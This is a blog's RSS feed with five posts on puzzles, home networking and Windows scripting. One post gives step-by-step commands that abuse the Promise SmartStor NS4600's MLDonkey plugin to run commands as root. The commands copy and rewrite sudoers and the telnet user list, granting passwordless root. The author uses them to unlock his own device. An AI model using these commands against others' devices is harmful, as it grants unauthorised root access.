<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Savory Ape &#187; Projects</title>
	<atom:link href="http://savoryape.com/topic/projects/feed/" rel="self" type="application/rss+xml" />
	<link>http://savoryape.com</link>
	<description>Progressive Internet Solutions</description>
	<lastBuildDate>Tue, 20 Dec 2011 06:46:36 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3</generator>
		<item>
		<title>Midnight Madness 2011: Brain Drained</title>
		<link>http://savoryape.com/2011/12/mmxi/</link>
		<comments>http://savoryape.com/2011/12/mmxi/#comments</comments>
		<pubDate>Tue, 20 Dec 2011 06:46:36 +0000</pubDate>
		<dc:creator>chrishota</dc:creator>
				<category><![CDATA[Midnight Madness]]></category>
		<category><![CDATA[Projects]]></category>
		<category><![CDATA[MMXI]]></category>

		<guid isPermaLink="false">http://savoryape.com/?p=198</guid>
		<description><![CDATA[My team is finally uncloaking the all-night, puzzle-based race we&#8217;ve been planning for the past year: &#8220;Brain Drained.&#8221; If interested, read on for details! If not, do me a solid by forwarding this email to a nerdy 20- or 30-something puzzle enthusiast you know!) Midnight Madness is a movie from 1980 (Michael J. Fox&#8217;s first movie, actually). Here&#8217;s [...]]]></description>
			<content:encoded><![CDATA[<p>My team is finally uncloaking the all-night, puzzle-based race we&#8217;ve been planning for the past year: &#8220;Brain Drained.&#8221; If interested, read on for details! If not, do me a solid by forwarding this email to a nerdy 20- or 30-something puzzle enthusiast you know!)</p>
<p>Midnight Madness is a movie from 1980 (Michael J. Fox&#8217;s <em>first</em> movie, actually). Here&#8217;s IMDB&#8217;s plot summary: <em>Leon planned &#8220;The Great All-Nighter&#8221; by picking college students to participate in his night long scavenger hunt. The five teams [...] are given clues to solve, leading them to the next clue site hidden in the city. </em>The movie is the inspiration for <a href="http://armm.tumblr.com/post/11088839327/press-release-october-2011-for-immediate" target="_blank"><em>Arkansas</em> Midnight Madness</a>. Held annually in Hot Springs, AR (though, this year, starting in Little Rock) during winter break (when far-flung friends are often back in town), we take to the streets for our own type of &#8220;Madness.&#8221;</p>
<p>Since participants are often distant, the game consists of an Internet-based pregame (starting around September) which traditionally gives the location and date of the in-person event. The team that wins the challenge gets the opportunity to put on the game for the next year(!) and&#8230; well, a trophy. My team, <a href="https://twitter.com/pinkyandbrains" target="_blank">Pinky &amp; the Brains</a>, <a href="http://armm.tumblr.com/post/2507737708/and-without-further-ado" target="_blank">won MM2K10</a>.</p>
<p>The P&amp;B crew have used a variety of web services, video calling, email, and every postal courier to produce a high-quality game this year. Our team met between once and three times each week during the second half of 2011 (and even organized a three-day sleep-over mega-meeting during Thanksgiving break). We logged countless hours on Skype, and created over 300 documents detailing locations, puzzle ideas, story lines, game mechanics (rules and scoring), supplies, props, scripts and accounting.</p>
<p>This year&#8217;s installment is called &#8220;<a href="http://braindrained.tv/" target="_blank">Brain Drained</a>,&#8221; with all the trappings of a Double-Dare-style game show. My character is currently blogging her way through the solution to our pregame exercises—with a new post every three days till Christmas. Hopefully this will get contestants in the right frame of mind, as the in-person game/event is December 26th and 27th.</p>
<ul>
<li>12/12: <a href="http://braindrained.tv/2011/12/this-way-through-the-pregame/" target="_blank">This Way Through the Pregame!</a></li>
<li>12/15: <a href="http://braindrained.tv/2011/12/a-pressing-release/" target="_blank">A Pressing Release</a></li>
<li>12/18: <a href="http://braindrained.tv/2011/12/mathleticism-and-sudocoups/" target="_blank">Mathleticism And Sudocoups</a></li>
</ul>
<p>Keep it puzzling!</p>
]]></content:encoded>
			<wfw:commentRss>http://savoryape.com/2011/12/mmxi/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>NASaga (or, &#8220;Pwn&#8217;g the Promise SmartStor 4600&#8243;)</title>
		<link>http://savoryape.com/2009/10/nasaga-or-pwng-the-promise-smartstor-4600/</link>
		<comments>http://savoryape.com/2009/10/nasaga-or-pwng-the-promise-smartstor-4600/#comments</comments>
		<pubDate>Thu, 22 Oct 2009 06:22:23 +0000</pubDate>
		<dc:creator>chrishota</dc:creator>
				<category><![CDATA[Projects]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[MLDonkey]]></category>
		<category><![CDATA[Promise]]></category>
		<category><![CDATA[root]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[SmartStor]]></category>
		<category><![CDATA[telnet]]></category>

		<guid isPermaLink="false">http://savoryape.com/?p=101</guid>
		<description><![CDATA[My roommates and I live the networked lifestyle, primarily when it comes to entertainment. In the house there is a PS3 and an XBOX 360. I don&#8217;t usually play games, so I use the XBOX for streaming NetFlix movies and the PS3 for streaming video and music from the house server. All of the entertainment [...]]]></description>
			<content:encoded><![CDATA[<p>My roommates and I live the networked lifestyle, primarily when it comes to entertainment. In the house there is a PS3 and an XBOX 360. I don&#8217;t usually play games, so I use the XBOX for streaming NetFlix movies and the PS3 for streaming video and music from the house server. All of the entertainment systems (TiVo, PS3, XBOX, server) are on their own dedicated network segment with a Dell PowerConnect 8-port Gigabit switch, snagged for a bargain during one of their end-of-fiscal-in-January sales.</p>
<p>When CompUSA was slowly dying, my friend Chris Heien and I kept waiting for the right moment to swoop in at the sweet spot between value and desperation to acquire the HP MediaVault m2040: a 2-bay Network Attached Storage (NAS) device. NAS devices sit on your network and act as a file server. Since our house network runs to every room (via LinkSys Ethernet-over-Power adaptors and 802.11n/g clouds), a home server was essential for sharing large files between roommates and devices.</p>
<p><span id="more-101"></span></p>
<p>The HP MediaVault m2040 came with a 500 GB drive, to which I added another 500 GB. With some partitions in RAID, the usable space was about 0.8 TB. This was a very decent NAS (especially for the price) when I purchased it. It was &#8220;hackable&#8221; with a good-sized developer community (led by <a href="http://k0lee.com/hpmediavault/">one of the original MediaVault engineers</a>), and most importantly, it included a Digital Living Network Alliance certification; meaning it could stream music and video to media players on the network (like the PS3 or even Windows Media Player on Vista).</p>
<p>When I made the purchase, I knew eventually that the day would come when it would not be enough. Unfortunately, the honeymood was over quicker than anticipated. The design flaws of the first-generation MediaVault are sizable:</p>
<ul>
<li>Due to un-expandable RAM configuration, and the fact that the native partitioning scheme was ReiserFS, the MediaVault can only hold a file allocation table map for about 1.25 TB. Meaning, even if I put two 2TB drives in, it would still only recognize 1.25TB instead of 4TB.</li>
<li>Due to an underwhelming (300 MHz MIPS) processor, the Gigabit ethernet connection performed very poorly; actually a little worse than Fast Ethernet (100 MB/sec).</li>
<li>Also due to the processor type (MIPS), the number of ipkg packages (basically server plugins) was low, and it was hard to make new ones.</li>
<li>Although expandable by using USB hard drives as additional storage, it would never power-down these drives, burning them out much quicker (and being very loud, constantly, when connected).</li>
<li>Because of the slow networking, the PS3 would randomly display a network error while streaming video. Of my complaints, this is the one I hate most because this is the one I had to see every time I tried to enjoy some video!</li>
</ul>
<p>I recently was able to save up some money with the intent of purchasing a new NAS. About three weeks ago, I took the plunge and ordered from NewEgg:</p>
<ul>
<li><a href="http://www.newegg.com/Product/Product.aspx?Item=N82E16822328003">Promise SmartStor NS4600 NAS</a></li>
<li><a href="http://www.newegg.com/Product/Product.aspx?Item=N82E16822145276">HITACHI Deskstar HD32000 IDK/7K 2TB 7200 RPM SATA 3.0Gb/s 3.5&#8243; Internal Hard Drive (Retail Edition)</a></li>
</ul>
<p>This, in short, is a great system. The SmartStor4600 uses less power and has more available drive bays (four) than the MediaVault. It runs quieter, with a variable-speed fan, and it addresses all of my concerns with the MediaVault:</p>
<ul>
<li>No hard limit on capacity. I&#8217;m using a fast (but not super-fast) 2TB drive in one slot, which is more than twice the capacity of the MediaVault.</li>
<li>&#8220;The snozberries taste like snozberries,&#8221; and the Gigabit performs like Gigabit!</li>
<li>It&#8217;s expandable via an official plugin system (currently running a &#8220;Downloader&#8221; engine (explained later), iTunes streaming server, and the—most essential—DLNA server). I&#8217;ve actually written the SmartStor project manager in regards to maybe getting a software development kit. I would like to write a plugin for downloading files from Usenet using NZB files. We&#8217;ll see where that goes.</li>
<li>Spin-down of USB drives is (supposedly) supported (haven&#8217;t had a chance to check this one out).</li>
<li>No errors while streaming HD video to the PS3!</li>
</ul>
<p>I am in home-entertainment Nirvana.</p>
<p>But I like to fully explore my devices; so recently I&#8217;ve been looking for a way to get into the device from a lower level. A port scan revealed telnet running on port 2380, prompting for a password. My experience with NAS devices is that they are usually running an embedded-level Linux called BusyBox, with as few user accounts as possible. This means that most processes are probably running as root.</p>
<p>I started with the built-in web server, which is advertised for being suitable for running your small office intranet. They seem to have thought of this, because even though the lighttpd web service provides a php installation, it has been hardened with the following in the PHP configuration file (php.ini):</p>
<pre>disable_functions = phpinfo,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source</pre>
<p>This prevents writing a simple php one-liner to reset the root password.</p>
<p>Luckily, there is an easily-exploitable security hole in the NS4600. It is the same hole that was in the predecessor product, the NS4300. Namely, <em>the built-in &#8220;Downloader&#8221; plugin (a customized version of <a href="http://mldonkey.sourceforge.net/">MLDonkey</a>) can be cajoled to run shell commands on behalf of the root user</em>. It&#8217;s actually pretty easy, thanks to work done on the previous model by <a href="http://facebook.com/xfyre">Ilya Obshadko</a>.</p>
<ol>
<li>Update to the latest firmware.</li>
<li>In the Promise Advanced Storage Manager (http://smartstor/admin/), navigate to &#8220;File &amp; Print&#8221; then &#8220;Application Plugins.&#8221;</li>
<li>Click the &#8220;Enable&#8221; button on the line for &#8220;BT Server.&#8221;</li>
<li>Navigate to http://smartstor:4080/ to access the MLDonkey web interface. It should say &#8220;Welcome to MLDonkey 2.9.1&#8243; in the bottom pane, and have a toolbar pane at the top of the screen.</li>
<li>In the top toolbar pane, enter the following commands and press Enter, one at a time:
<ol>
<li>set allow_any_command true</li>
<li>! /bin/cp /etc/crontab /VOLUME1/PUBLIC/crontab</li>
<li>! /bin/cp /etc/sudoers /VOLUME1/PUBLIC/sudoers</li>
<li>! /bin/cp /etc/telnet.user /VOLUME1/PUBLIC/telnet.user</li>
<li>! /bin/chmod 777 /VOLUME1/PUBLIC/crontab</li>
<li>! /bin/chmod 777 /VOLUME1/PUBLIC/sudoers</li>
<li>! /bin/chmod 777 /VOLUME1/PUBLIC/telnet.user</li>
<li>! /bin/echo &#8216;admin ALL=(ALL) NOPASSWD: ALL&#8217; &gt;&gt; /VOLUME1/PUBLIC/sudoers</li>
<li>! /bin/echo &#8216;admin&#8217; &gt;&gt; /VOLUME1/PUBLIC/telnet.user</li>
</ol>
</li>
<li>Then connect to your SmartStor&#8217;s PUBLIC share, and edit the crontab file, removing the line that contains &#8220;chkhttpd&#8221; in it. (This could probably be made into a awk/sed one-liner, but my regex-fu is not that strong).</li>
<li>Returning to the MLDonkey interface, input the following commands to copy the newly-edited config files back to the system locations, overwriting the originals:
<ol>
<li>! /bin/cp /VOLUME1/PUBLIC/crontab /etc/</li>
<li>! /bin/cp /VOLUME1/PUBLIC/sudoers /etc/</li>
<li>! /bin/cp /VOLUME1/PUBLIC/telnet.user /etc/</li>
</ol>
</li>
<li>Fire up trusty old telnet with &#8220;telnet smartstor 2380&#8243; at a terminal, wait a few moments, press enter (it&#8217;s asking for the root password, which we don&#8217;t know—it&#8217;s set at the factory, in the firmware), then type in &#8220;admin&#8221; for the username, and whatever password you use for your admin account (&#8220;admin&#8221; by default).</li>
<li>You should now have a nice shell prompt. Issue &#8220;sudo passwd root&#8221;, then type a new root password a couple of times—and ta-da!—you&#8217;re in like Flynn! Just exit your shell and reconnect as root.</li>
</ol>
<p>The only bad part about this is that step 7 must be done each time the device reboots, because the crontab is regenerated from firmware on boot. Ilya has written <a href="http://xfyre.com/en/node/94">an application plugin for auto-enabling telnet access</a>. Unfortunately, the plugin format is different between the NS4300 and NS4600, so it doesn&#8217;t work for me.</p>
<p>By having superuser access to the device secured, I can now work on extending it to do more.</p>
]]></content:encoded>
			<wfw:commentRss>http://savoryape.com/2009/10/nasaga-or-pwng-the-promise-smartstor-4600/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Request for Colors in Wolfram Alpha</title>
		<link>http://savoryape.com/2009/06/request-for-colors-in-wolfram-alpha/</link>
		<comments>http://savoryape.com/2009/06/request-for-colors-in-wolfram-alpha/#comments</comments>
		<pubDate>Mon, 29 Jun 2009 06:08:07 +0000</pubDate>
		<dc:creator>chrishota</dc:creator>
				<category><![CDATA[ACLU of Arkansas]]></category>
		<category><![CDATA[Projects]]></category>

		<guid isPermaLink="false">http://savoryape.com/?p=50</guid>
		<description><![CDATA[In doing some work for the ACLU of Arkansas, I needed to convert some colors, and was flummoxed when I couldn&#8217;t find a good converter that would to Pantone to RGB and HEX values. Wolfram Alpha, being a computation engine, should find this right up its alley. It&#8217;s the first feature request I&#8217;ve submitted to [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://savoryape.com/wp-content/uploads/WA-Suggestion.png"><img src="http://savoryape.com/wp-content/uploads/WA-Suggestion-300x87.png" alt="Wolfram Alpha says &quot;thanks&quot; for sending suggestions." title="Wolfram Alpha Suggestion" width="300" height="87" class="size-medium wp-image-52" /></a>In doing some work for the ACLU of Arkansas, I needed to convert some colors, and was flummoxed when I couldn&#8217;t find a good converter that would to Pantone to RGB and HEX values.  Wolfram Alpha, being a computation engine, should find this right up its alley.  It&#8217;s the first feature request I&#8217;ve submitted to the site, and they promise  &#8220;[...] to respond to as many suggestions and comments as possible,<br />
and to implement good suggestions we are given.&#8221;</p>
<p>I think it&#8217;s a good suggestion; what do you think?  Here&#8217;s what I sent:<br />
<span id="more-50"></span></p>
<p>The ability to convert and recognize colors, such as:</p>
<p>Dark Blue == PMS 647 == #26547C == rgb(38,84,124)<br />
Light Blue == PMS 279 == #6689CC == rgb(102,137,204)</p>
<p>Beige == PMS 4545 == #E5DBBA == rgb(229,219,186)<br />
Dark Grey == PMS 403 == #998C7C == rgb(153,140,124)<br />
Light Grey == PMS 5455 == #D6D8D3 == rgb(214,216,211)<br />
Burnt Orange == PMS 145 == #C67F07 == rgb(198,127,7)<br />
Burgundy == PMG 1815 == #990000 == cmyk(0,90,100,51)</p>
<p>These colors come from the <a href="http://www.optodesign.com/aclu/gu8.html">ACLU Identity Guidelines</a> and list the primary and secondary colors to be used in conjunction with the ACLU brand.  I converted the Pantone (PMS) numbers by looking up &#8220;convert pms color to web&#8221; on Google and clicking <a href="http://www.sandaleo.com/pantone.asp">the first result</a> which provided a nice lookup table.  Unfortunately, this table did not have one result I needed (&#8220;PMS 1815&#8243;), so I Googled that term.  This brought up the <a href="http://ucomm.utah.edu/logos/web_colors.html">official color palette for the University of Utah</a>, provided by that school&#8217;s Marketing department.  Note that they do not provide an rgb() value, denoted with some improvised syntax.</p>
<p>So, first feature request is for recognition of color values, and proffered conversion of alternate formats, as represented herein.</p>
<p>Secondly, it becomes obvious from the examples that many organizations (non-profits, businesses, and <a href="http://www4.uwm.edu/cms/info/rollout/how-to-prepare/templates_styleguide.pdf">universities</a>) take branding seriously, so I believe that &#8220;official colors&#8221; should be a part of an entity in Wolfram Alpha (i.e., &#8220;Stanford&#8221; being a university, &#8220;Google&#8221; being a financial entity, etc).</p>
<p>Possible calculations would be seeing companies with similar color profiles (then sort based on continent, say, to see the gestalt of corporate colors per country, compare based on industry, etc).</p>
<p>Thanks for your consideration!</p>
]]></content:encoded>
			<wfw:commentRss>http://savoryape.com/2009/06/request-for-colors-in-wolfram-alpha/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Force Command-Line for VBScripts</title>
		<link>http://savoryape.com/2009/06/force-cmdline-vbs/</link>
		<comments>http://savoryape.com/2009/06/force-cmdline-vbs/#comments</comments>
		<pubDate>Wed, 17 Jun 2009 17:05:55 +0000</pubDate>
		<dc:creator>chrishota</dc:creator>
				<category><![CDATA[MidSOUTH]]></category>
		<category><![CDATA[Command-line interface]]></category>
		<category><![CDATA[Microsoft Windows]]></category>
		<category><![CDATA[VBScript]]></category>

		<guid isPermaLink="false">http://savoryape.com/?p=34</guid>
		<description><![CDATA[Say you have a script—like the previous CIM Repository Listing script—that outputs hundreds of rows of text via WScript.Echo. On the command line, this is fine; the text will go scrolling by, and can be piped to the more command or grep (yes, really), or logged to a file. But if you make the mistake [...]]]></description>
			<content:encoded><![CDATA[<p>Say you have a script—like the previous <a href="http://savoryape.com/2009/06/list-win32-cimv2/">CIM Repository Listing</a> script—that outputs hundreds of rows of text via WScript.Echo.  On the command line, this is fine; the text will go scrolling by, and can be piped to the more command or grep (yes, really), or logged to a file.  But if you make the mistake of executing a script like this by double-clicking, you&#8217;ll get modal popup messages that prevent the rest of the script from running until you hit &#8220;OK&#8221; for each line.</p>
<p>You could change the default scripting environment to always be the command line:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">CScript <span style="color: #000000; font-weight: bold;">//</span>H:CScript <span style="color: #000000; font-weight: bold;">//</span>NoLogo <span style="color: #000000; font-weight: bold;">//</span>S</pre></div></div>

<p>But then you have to treat the GUI-based scripts differently, and launch them from the command line with wscript.  Oh, bother.</p>
<p>It&#8217;s always been possible to just go ahead and launch vbscripts from the command line with the cscript command, but having to open a command prompt and type out the path to the script every time is a pain.  Why not have the script auto-detect how it was launched, and if it wasn&#8217;t launched from the command line, relaunch itself correctly?  Well, <a href="http://tek-tips.com/viewthread.cfm?qid=1175727">Tek-Tips user tsuji</a> has figured out how to do it.</p>
<p>By including this subroutine in your VBScript and putting a call to it at the top of the script, it will do just that.</p>
<p>The edits to this script from tsuji&#8217;s version are that instead of keeping the command window open after execution with the &#8220;/k&#8221; switch, I continue to use the &#8220;/c&#8221; (close command after completion) but chain the &#8220;pause&#8221; command at the end of the command.  This is a little-known (in the DOS/Windows world, anyway) way of doing multiple things at once:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">command1 <span style="color: #000000; font-weight: bold;">&amp;&amp;</span> command2</pre></div></div>

<p>On *NIX, this will execute command2 after command1 completes, if it completes successfully (return code 0).  On Windows, however, command2 will always be run, no matter the outcome of command1.</p>

<div class="wp_syntax"><div class="code"><pre class="vb" style="font-family:monospace;"><span style="color: #E56717; font-weight: bold;">Sub</span> force_cmdline
	<span style="color: #151B8D; font-weight: bold;">Dim</span> args : args=<span style="color: #800000;">&quot;&quot;</span>
	<span style="color: #151B8D; font-weight: bold;">Dim</span> i, wshshell
	<span style="color: #8D38C9; font-weight: bold;">If</span> right(lCase(wscript.fullname),11)= <span style="color: #800000;">&quot;wscript.exe&quot;</span> <span style="color: #8D38C9; font-weight: bold;">then</span>
		<span style="color: #8D38C9; font-weight: bold;">For</span> i=0 <span style="color: #8D38C9; font-weight: bold;">to</span> wscript.arguments.count-1
			args = args &amp; wscript.arguments(i) &amp; <span style="color: #800000;">&quot; &quot;</span>
		<span style="color: #8D38C9; font-weight: bold;">Next</span>
		<span style="color: #151B8D; font-weight: bold;">Set</span> wshshell = <span style="color: #E56717; font-weight: bold;">createobject</span>(<span style="color: #800000;">&quot;wscript.shell&quot;</span>)
		wshshell.Run wshshell.ExpandEnvironmentStrings(<span style="color: #800000;">&quot;%comspec%&quot;</span>) &amp; <span style="color: #800000;">&quot; /c cscript.exe //nologo &quot;</span><span style="color: #800000;">&quot;&quot;</span> &amp; wscript.scriptfullname &amp; <span style="color: #800000;">&quot;&quot;</span><span style="color: #800000;">&quot;&quot;</span> &amp; args &amp; <span style="color: #800000;">&quot; &amp;&amp; pause&quot;</span>
		<span style="color: #151B8D; font-weight: bold;">set</span> wshshell = <span style="color: #00C2FF; font-weight: bold;">Nothing</span>
		WScript.Quit
	<span style="color: #8D38C9; font-weight: bold;">End</span> <span style="color: #8D38C9; font-weight: bold;">If</span>
<span style="color: #8D38C9; font-weight: bold;">End</span> <span style="color: #E56717; font-weight: bold;">Sub</span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://savoryape.com/2009/06/force-cmdline-vbs/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Listing All Win32 CIMv2 Providers</title>
		<link>http://savoryape.com/2009/06/list-win32-cimv2/</link>
		<comments>http://savoryape.com/2009/06/list-win32-cimv2/#comments</comments>
		<pubDate>Mon, 15 Jun 2009 17:00:53 +0000</pubDate>
		<dc:creator>chrishota</dc:creator>
				<category><![CDATA[MidSOUTH]]></category>
		<category><![CDATA[cim]]></category>
		<category><![CDATA[microsoft]]></category>
		<category><![CDATA[wbem]]></category>
		<category><![CDATA[wim]]></category>
		<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://savoryape.com/?p=16</guid>
		<description><![CDATA[When starting to troubleshoot a Windows Server problem, the best place to look is the Windows Management Instrumentation (WMI); this little enclave of information—on every Windows machine—acts like a datastore representing the configuration of every nook and cranny of a system. But knowing what to look for is half the battle. Recently, I was faced [...]]]></description>
			<content:encoded><![CDATA[<p>When starting to troubleshoot a Windows Server problem, the best place to look is the Windows Management Instrumentation (WMI); this little enclave of information—on every Windows machine—acts like a datastore representing the configuration of every nook and cranny of a system.  But knowing what to look for is half the battle.</p>
<p>Recently, I was faced with diagnosing slow replication times for Branch Office Distributed File System Replication under Windows Server 2003.  I had no idea where to look, so I referenced the following script, pointed the two instances of strComputer to our DFS-enabled file server, and looked for DFS-specific properties and methods:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">cscript <span style="color: #ff0000;">&quot;List Win32 Providers.vbs&quot;</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">grep</span> <span style="color: #660033;">-i</span> dfs</pre></div></div>

<p>This gave me the performance counters I could use to monitor performance, as well as how to programmatically create DFS shares and namespaces.</p>

<div class="wp_syntax"><div class="code"><pre class="vb" style="font-family:monospace;">strComputer = <span style="color: #800000;">&quot;.&quot;</span>
<span style="color: #151B8D; font-weight: bold;">Set</span> objWMIService=<span style="color: #E56717; font-weight: bold;">GetObject</span>(<span style="color: #800000;">&quot;winmgmts:{impersonationLevel=impersonate}!\\&quot;</span> &amp; strComputer &amp; <span style="color: #800000;">&quot;\root\cimv2&quot;</span>)
&nbsp;
<span style="color: #8D38C9; font-weight: bold;">For</span> <span style="color: #8D38C9; font-weight: bold;">Each</span> objclass <span style="color: #8D38C9; font-weight: bold;">in</span> objWMIService.SubclassesOf()
    intCounter=0
    <span style="color: #8D38C9; font-weight: bold;">If</span> Left(objClass.Path_.Class,5) = <span style="color: #800000;">&quot;Win32&quot;</span> <span style="color: #8D38C9; font-weight: bold;">Then</span>
        <span style="color: #8D38C9; font-weight: bold;">For</span> <span style="color: #8D38C9; font-weight: bold;">Each</span> Qualifier <span style="color: #8D38C9; font-weight: bold;">in</span> objClass.Qualifiers_
            <span style="color: #8D38C9; font-weight: bold;">If</span> UCase(Trim(Qualifier.Name)) = <span style="color: #800000;">&quot;ASSOCIATION&quot;</span> <span style="color: #8D38C9; font-weight: bold;">Then</span>
                intCounter = 1
            <span style="color: #8D38C9; font-weight: bold;">End</span> <span style="color: #8D38C9; font-weight: bold;">If</span>
        <span style="color: #8D38C9; font-weight: bold;">Next</span>
        <span style="color: #8D38C9; font-weight: bold;">If</span> x = 0 <span style="color: #8D38C9; font-weight: bold;">Then</span>
            strComputer = <span style="color: #800000;">&quot;.&quot;</span>
            <span style="color: #151B8D; font-weight: bold;">Set</span> objWMIService = <span style="color: #E56717; font-weight: bold;">GetObject</span> _
                (<span style="color: #800000;">&quot;winmgmts:{impersonationLevel=impersonate}!\\&quot;</span> &amp; _
                    strComputer &amp; <span style="color: #800000;">&quot;\root\cimv2&quot;</span>)
            <span style="color: #151B8D; font-weight: bold;">Set</span> strClass = objWMIService.<span style="color: #151B8D; font-weight: bold;">Get</span>(objClass.Path_.Class)
            Wscript.Echo <span style="color: #800000;">&quot;PROPERTIES:&quot;</span>
            <span style="color: #8D38C9; font-weight: bold;">For</span> <span style="color: #8D38C9; font-weight: bold;">each</span> strItem <span style="color: #8D38C9; font-weight: bold;">in</span> strClass.properties_
                Wscript.Echo objClass.Path_.Class &amp; vbTab &amp; strItem.name 
            <span style="color: #8D38C9; font-weight: bold;">Next</span>
            Wscript.Echo <span style="color: #800000;">&quot;METHODS:&quot;</span>
            <span style="color: #8D38C9; font-weight: bold;">For</span> <span style="color: #8D38C9; font-weight: bold;">Each</span> strItem <span style="color: #8D38C9; font-weight: bold;">in</span> strClass.methods_
                Wscript.Echo objClass.Path_.Class &amp; vbTab &amp; strItem.name 
            <span style="color: #8D38C9; font-weight: bold;">Next</span>
        <span style="color: #8D38C9; font-weight: bold;">End</span> <span style="color: #8D38C9; font-weight: bold;">If</span>
    <span style="color: #8D38C9; font-weight: bold;">End</span> <span style="color: #8D38C9; font-weight: bold;">If</span>
<span style="color: #8D38C9; font-weight: bold;">Next</span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://savoryape.com/2009/06/list-win32-cimv2/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

